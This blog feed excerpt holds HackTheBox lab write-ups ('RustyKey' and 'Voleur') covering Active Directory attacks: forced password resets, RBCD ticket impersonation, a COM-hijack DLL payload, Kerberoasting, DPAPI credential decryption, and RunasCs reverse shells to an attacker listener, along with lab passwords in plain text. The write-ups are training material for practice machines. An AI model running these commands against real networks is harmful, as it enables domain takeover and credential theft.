&lt;p&gt;The &lt;strong&gt;PROTECTED OBJECTS&lt;/strong&gt; group might LIKELY interfere in this process.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0353fc2d33644dbca87a3bdb0755d9f0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s try it out.&lt;/p&gt;
&lt;h3&gt;ForceChangePassword - bb.morgan&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d60a2baf4eeab1402159d33616b00e1d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I can easily change the password so that&apos;s good.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bb.morgan
password123!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::important
We now will have to get another &lt;code&gt;kerb&lt;/code&gt; ticket in order to actually log in:
&lt;img src=&quot;attachments/9085e18175ee36f72654fe3216fb3e00.png&quot; alt=&quot;&quot; /&gt;
:::&lt;/p&gt;
&lt;p&gt;Simply requesting the ticket does not work:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6b9b709e7bc28ec787c19d8947ac28da.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This might in fact be due to the constraints of the &lt;strong&gt;PROTECTED OBJECTS&lt;/strong&gt; group. Let&apos;s remove our user from it.&lt;/p&gt;
&lt;p&gt;:::danger
Sometimes it trips out and you&apos;ll have to repeat old commands again:
&lt;img src=&quot;attachments/258a1db790a792d9b78048ccf5fbf369.png&quot; alt=&quot;&quot; /&gt;
:::&lt;/p&gt;
&lt;p&gt;After resending the &lt;code&gt;add groupMember&lt;/code&gt; command I issued the &lt;code&gt;remove groupMember&lt;/code&gt; command for the &lt;strong&gt;PROTECTED OBJECTS&lt;/strong&gt; group:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bloodyAD -k --host dc.rustykey.htb -d rustykey.htb -u &apos;IT-COMPUTER3$&apos; -p &apos;Rusty88!&apos; remove groupMember &apos;PROTECTED OBJECTS&apos; &apos;IT&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/26c3b1865a1489067038808dbb0f66ac.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And now I can send the password change and TGT commands again:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bloodyAD -k --host dc.rustykey.htb -d rustykey.htb -u &apos;IT-COMPUTER3$&apos; -p &apos;Rusty88!&apos; set password &apos;bb.morgan&apos; &apos;P@ssword123!&apos;

impacket-getTGT &apos;rustykey.htb/bb.morgan&apos;:&apos;P@ssword123!&apos; -dc-ip 10.10.11.75
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e492c44938260a9593d59fd74d21b7d1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;Shell as bb.morgan&lt;/h2&gt;
&lt;p&gt;First I export the &lt;code&gt;kerberos&lt;/code&gt; ticket and log into &lt;code&gt;winrm&lt;/code&gt; via the same terminal.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/09648c57aa802d82fd710dd433ec3ed0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And now I can go ahead and login via &lt;code&gt;evil-winrm&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b12c7bd2fb256d3d015965046ec87ee4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/61264ee6a0d3e29a7461be9a3a20d25d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Enumeration&lt;/h2&gt;
&lt;p&gt;Furthermore I find the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/93201e015384b3ab2490d823a3602b01.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::note
Other than that my privs are absolutely dog tier:
&lt;img src=&quot;attachments/4bcbd2466dad986bb51ec75057e155fb.png&quot; alt=&quot;&quot; /&gt;
:::&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/25b5b3a86cefa01bb60e67472687d247.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;PDF&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7948c91e5d74ea2ba2f762d6189e50fe.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Looks like we need to move Laterally to a member of the &lt;strong&gt;SUPPORT&lt;/strong&gt; group in order to take advantage of this situation.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3a4a1ee7c1d70396ef5d244cd24caa95.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We&apos;ll have to remove the group from the &lt;strong&gt;PROTECTED OBJECTS&lt;/strong&gt; first of all, then &lt;em&gt;ForceChange&lt;/em&gt; the password of &lt;em&gt;ee.reed&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Lateral Movement&lt;/h2&gt;
&lt;h3&gt;ForceChangePassword - ee.reed&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;bloodyAD -k --host dc.rustykey.htb -d rustykey.htb -u &apos;IT-COMPUTER3$&apos; -p &apos;Rusty88!&apos; add groupMember HELPDESK &apos;IT-COMPUTER3$&apos;
bloodyAD -k --host dc.rustykey.htb -d rustykey.htb -u &apos;IT-COMPUTER3$&apos; -p &apos;Rusty88!&apos; remove groupMember &apos;PROTECTED OBJECTS&apos; &apos;SUPPORT&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9b62d98e3693b23d5f1ef882e6b29ccf.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bloodyAD -k --host dc.rustykey.htb -d rustykey.htb -u &apos;IT-COMPUTER3$&apos; -p &apos;Rusty88!&apos; set password &apos;ee.reed&apos; &apos;P@ssword123!&apos;
impacket-getTGT &apos;rustykey.htb/ee.reed&apos;:&apos;P@ssword123!&apos; -dc-ip 10.10.11.75
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3083b9db9320e9f53aed933eb4a1d902.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;However this is where I ran into a problem:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d728ae29eccd6d1e988ca23b3f014ae4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Eventhough I changed the password correctly and exported the ticket I could still not login.&lt;/p&gt;
&lt;h3&gt;RunasCs&lt;/h3&gt;
&lt;p&gt;I downloaded the &lt;code&gt;runascs&lt;/code&gt; binary and downloaded it over to the target:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/97de8eb6483173df3e53f3558d213a5a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/fbfc2dea9944525d55a3fe577afd6748.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I set up a listener:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/cb05bd5c65aba3dd630cdd15f73cc835.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then executed the binary as follows:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.\RunasCs.exe ee.reed P@ssword123! powershell -r 10.10.14.17:4444
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6a22981c33e5e0f697f4865c77939577.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I got a shell:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/311b21d4dda6cf9d44e2dbbb4db28869.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::success
I successfully pivoted to &lt;em&gt;ee.reed&lt;/em&gt;.
:::&lt;/p&gt;
&lt;p&gt;I checked back on &lt;code&gt;bloodhound&lt;/code&gt; and found that the way to get to &lt;em&gt;backupadmin&lt;/em&gt; was by exploiting &lt;em&gt;mm.turner&lt;/em&gt; first:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e851400522bf2295f52467a6890dae7a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::note
I had to move laterally towards &lt;em&gt;mm.turner&lt;/em&gt; first, my guess would be via the following methods.
:::&lt;/p&gt;
&lt;p&gt;I focus in on this part that I found in the PDF.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3291bfe270b5ce9a439ad19ec609cc50.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::important&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;COM objects for &lt;strong&gt;ZIP utilities&lt;/strong&gt; (or compression tools) often register CLSIDs with the term &quot;zip&quot;.&lt;/li&gt;
&lt;li&gt;Many archiving tools (WinRAR, 7-Zip, built-in ZIP) register COM objects to integrate into context menus (right-click options like &quot;Extract Here&quot;, &quot;Compress&quot;, etc.).&lt;/li&gt;
&lt;li&gt;If such registry keys are &lt;strong&gt;writable by low-privileged users&lt;/strong&gt; (due to the &quot;extended access&quot;), an attacker can &lt;strong&gt;redirect&lt;/strong&gt; the CLSID to load &lt;em&gt;malicious DLLs&lt;/em&gt; or &lt;em&gt;payloads&lt;/em&gt; instead—this is &lt;strong&gt;COM Hijacking&lt;/strong&gt;.
:::&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If writable, attackers can:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Replace &lt;code&gt;InprocServer32&lt;/code&gt; path to point to &lt;strong&gt;malicious DLL&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Trigger the vulnerable app or COM call → DLL gets loaded as SYSTEM or elevated context.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Result: &lt;strong&gt;Privilege Escalation via COM Hijack&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;COM Hijack&lt;/h2&gt;
&lt;h3&gt;Registry&lt;/h3&gt;
&lt;p&gt;I went ahead to query the &lt;code&gt;reg&lt;/code&gt; and view what I could find.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;reg query HKCR\CLSID /s /f &quot;zip&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9b80db57a1b1eb3e04f38aebac2f19f5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I went ahead and reviewed the ACL&apos;s on the &lt;code&gt;InprocServer32&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Get-Acl -Path &quot;Registry::HKEY_CLASSES_ROOT\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32&quot; | Format-List
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8341dcc915bacf44c74369d7a80214da.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This looks perfect for us, let&apos;s construct a &lt;code&gt;.dll&lt;/code&gt; payload via &lt;code&gt;msfvenom&lt;/code&gt; which will be used to hijack &lt;code&gt;InprocServer32&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Overwriting InprocServer32&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3cf89de90ffe92a33061c95664868baa.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After craftig up the payload I can now upload it.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0e0bcbe96bc4e6bd01651430a8e21b9a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;reg add &quot;HKLM\Software\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32&quot; /ve /d &quot;C:\tools\hax2.dll&quot; /f
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::important
The &lt;code&gt;.dll&lt;/code&gt; payload needs to be put in a location where &lt;em&gt;every&lt;/em&gt; user has access to it! Otherwise it will not work.
:::&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6266c8fe4afe5aeefc0a8d449f1e4cb5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now that we have access as &lt;em&gt;mm.turner&lt;/em&gt; we can move on to the next part.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4bea705696792a8616163158578d4f40.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It looks like we&apos;ll have to do some delagation magic.&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;Resource Based Constrained Delegation (RBCD)&lt;/h2&gt;
&lt;p&gt;I&apos;ll start off with the following command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Set-ADComputer -Identity DC -PrincipalsAllowedToDelegateToAccount IT-COMPUTER3$
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6cb425ba7928b4a702f34a8ffff1006a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then went ahead and used &lt;code&gt;impacket-getST&lt;/code&gt; to get the service ticket for &lt;em&gt;backupadmin&lt;/em&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;impacket-getST -spn &apos;cifs/DC.rustykey.htb&apos; -impersonate backupadmin -dc-ip 10.10.11.75 -k &apos;rustykey.htb/IT-COMPUTER3$:Rusty88!&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c6a0c3db5df767612725e3b4b6cafb75.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I can now export it and get access with it.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/133f6c53537acb6f491726e77c7fb96e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;root.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c608d96e5c3fdc71e4854d1e66524745.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3c9c48cc4111c93c4b672d923f2b4541.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-Voleur</title><link>https://maxk9999.vercel.app/posts/voleur</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/voleur</guid><pubDate>Sun, 06 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
10.10.11.76

Creds:
ryan.naylor / HollowOct31Nyt
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -sT -vvvv -p- -T5 --min-rate=5000 -Pn voleur.htb 

PORT      STATE SERVICE       REASON  VERSION
53/tcp    open  domain        syn-ack Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2025-07-06 22:15:11Z)
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?     syn-ack
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack
2222/tcp  open  ssh           syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack
5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        syn-ack .NET Message Framing
49664/tcp open  msrpc         syn-ack Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack Microsoft Windows RPC
51685/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
51686/tcp open  msrpc         syn-ack Microsoft Windows RPC
51688/tcp open  msrpc         syn-ack Microsoft Windows RPC
51716/tcp open  msrpc         syn-ack Microsoft Windows RPC
62733/tcp open  msrpc         syn-ack Microsoft Windows RPC
Service Info: Host: DC; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel

Host script results:
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 48495/tcp): CLEAN (Timeout)
|   Check 2 (port 28661/tcp): CLEAN (Timeout)
|   Check 3 (port 60782/udp): CLEAN (Timeout)
|   Check 4 (port 35476/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: 7h59m57s
| smb2-time: 
|   date: 2025-07-06T22:16:03
|_  start_date: N/A
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I tried logging into ssh &lt;code&gt;2222&lt;/code&gt; but got denied:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/cb53e21a8fba641fed4364d54fe77fcd.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Pass The Key - TGT&lt;/h2&gt;
&lt;p&gt;I started off changing &lt;code&gt;/etc/krb5.conf&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3040d5fc0ecb44e10c8791dcf46a38ef.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6e426de8cdd7c7d97d3cf186c861e577.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9672934a086d54def56bea89f2aca7c7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/547b89de2e5cfd31cee00a5044028417.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;BloodHound&lt;/h3&gt;
&lt;p&gt;I could now boot up &lt;code&gt;bloodhound&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/adedbe996f5aecefc5621dc3b051b21f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f4f468b0ec26a0ff43d987e5534890f0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;While the files were ingesting I commenced my recon.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/49ed0826faf3389ef0e7340262ba521b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Quite a few &lt;em&gt;svc&lt;/em&gt; accounts which I made be able to take advantage of.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/58910714492007bc5709ec76d1d8b265.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I went ahead and looked up which users had remote access:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c1005c3bdf2e7702d68e8c2f5a1754fe.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Nevertheless I had to move on and check out what else I could find.&lt;/p&gt;
&lt;h2&gt;445/TCP - SMB&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/61290034977a7f1a51d9c5615d63eaa8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/97dd1e11d39ce7729ff833111b49c437.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I find that I can read a bunch of shares! I&apos;ll check out the non-default IT share.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9b187b5dc9629c2d7e18ffec592abd19.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Right away I find an excel file that appears to be useful!&lt;/p&gt;
&lt;p&gt;:::note
I tried out &lt;code&gt;smbclient&lt;/code&gt; but it wouldn&apos;t connect, instead I opted for &lt;code&gt;impacket-smbclient&lt;/code&gt;:
:::&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1af35c17cccf34045251bd0d0a3074dc.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b308654d0e712cca430c7bd05f621817.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3f96fbc7d371de914356955bd0088d5b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/59d2992564068ff39bcba5e65af730da.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;John&lt;/h3&gt;
&lt;p&gt;Now it was time to crack the office hash:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/32fcc451c214cde77e68f99cec165292.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I could now enter it in the prompt:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/585044df17934cd24a9308503868d264.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Excel file - Finding Creds&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7f41d889781a169aa4b6066dfa38f67d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Out of all the creds the &lt;em&gt;svc_ldap&lt;/em&gt; ones worked as well:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d2ff59a09fd32a30b6788f4ac08c288f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;svc_ldap
M1XyC9pW7qT5Vn
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now that I know that that account has valid creds I return to &lt;code&gt;bloodhound&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/05682cab2c679644d99b55c80013bb9e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::note
Not only can we go ahead and &lt;code&gt;WriteSPN&lt;/code&gt; on &lt;em&gt;svc_winrm&lt;/em&gt;, but we can also &lt;code&gt;GenericWrite&lt;/code&gt; via &lt;strong&gt;RESTORE_USERS&lt;/strong&gt; to &lt;em&gt;lacey.miller&lt;/em&gt;. This means we can reinstate &lt;em&gt;todd.wolfe&lt;/em&gt;&apos;s account, and make him part of the domain admin group!
:::&lt;/p&gt;
&lt;h2&gt;WriteSPN&lt;/h2&gt;
&lt;h3&gt;Kerberoasting&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2243c718568efb1f52981ca09af939ca.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I need to slightly modify the command for the request to work.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;KRB5CCNAME=svc_ldap.ccache ./targetedKerberoast.py --dc-host DC.voleur.htb -d voleur.htb  --dc-ip 10.10.11.76 --request-user &apos;svc_winrm&apos; -k
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f6408fad2d784f345f94f28882556bfd.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;John&lt;/h3&gt;
&lt;p&gt;I was then able to easily crack it:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/476409fe9069cc6522dc0ce199f22684.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;svc_winrm
AFireInsidedeOzarctica980219afi
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;Shell as svc_winrm&lt;/h2&gt;
&lt;p&gt;Using the following sequence of commands I was able to get easy access:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f1f06025c6ec176666f79a549cdefa2d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0d87395cb04945eeca2d6cbd86dac8cb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Lateral Movement&lt;/h2&gt;
&lt;p&gt;:::note
In order to move laterally I have to download over &lt;code&gt;RunasCs.exe&lt;/code&gt;, then I can go ahead and get an elevated shell as &lt;em&gt;svc_ldap&lt;/em&gt; on the system, which in turn will allow me to restore the &lt;em&gt;todd.wolfe&lt;/em&gt; account.
:::&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/51792b6db5ca81a9c1ed32504f039e1c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/98cefafb7cd65eb5ccc17244f1c119d3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/61d80f73a11b19f915c3d641a7d45330.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Restore Todd.Wolfe account&lt;/h2&gt;
&lt;p&gt;I can now use the following commands to restore the account:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Get-ADObject -Filter &apos;isDeleted -eq $true&apos; -IncludeDeletedObjects
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4d2a45b0ae10f770670a58d915032ae9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Restore-ADObject -Identity &apos;1c6b1deb-c372-4cbb-87b1-15031de169db&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d79f68b994c57324e1647c06a3ba0906.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Shell as Todd.Wolfe&lt;/h3&gt;
&lt;p&gt;Now that the account has been restored I can yet again move laterally.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.\run.exe todd.wolfe NightT1meP1dg3on14  powershell -r 10.10.14.17:444
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e08aff87ca11383d0aa7fc49d975227d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c77ac1f82b53ce5e575ba1decd6a1b73.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Slight problem however concerning my enum, I&apos;d have to use &lt;code&gt;bloodhound&lt;/code&gt; all over again since the account did not exist before:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/150958eed899d93c38562bf47b078e81.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;DPAPI&lt;/h2&gt;
&lt;p&gt;Knowing that he&apos;s part of the second-line group however I went to the following directory:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/367e8c82f752879a2a345763ac305210.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then transferred the following over:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;C:\IT\Second-Line Support\Archived Users\todd.wolfe\AppData\roaming\Microsoft\Credentials\772275FAD58525253490A9B0039791D3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/385679f9ebbf7dd220270c1edd1e07cb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;As well as:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;C:\IT\Second-Line Support\Archived Users\todd.wolfe\AppData\roaming\Microsoft\Protect\S-1-5-21-3927696377-1337352550-2781715495-1110\08949382-134f-4c63-b93c-ce52efc0aa88
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e76bbd39bec534017a23638a8b190a38.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;impacket-dpapi&lt;/h3&gt;
&lt;p&gt;I can first crack the key:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;impacket-dpapi masterkey -file 08949382-134f-4c63-b93c-ce52efc0aa88 -password &apos;NightT1meP1dg3on14&apos; -sid S-1-5-21-3927696377-1337352550-2781715495-1110
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2819075a4985f391111ade8b14b73551.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I can now crack the credentials:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;impacket-dpapi credential -f 772275FAD58525253490A9B0039791D3 -key 0xd2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83
&lt;/code&gt;&lt;/pre&gt;
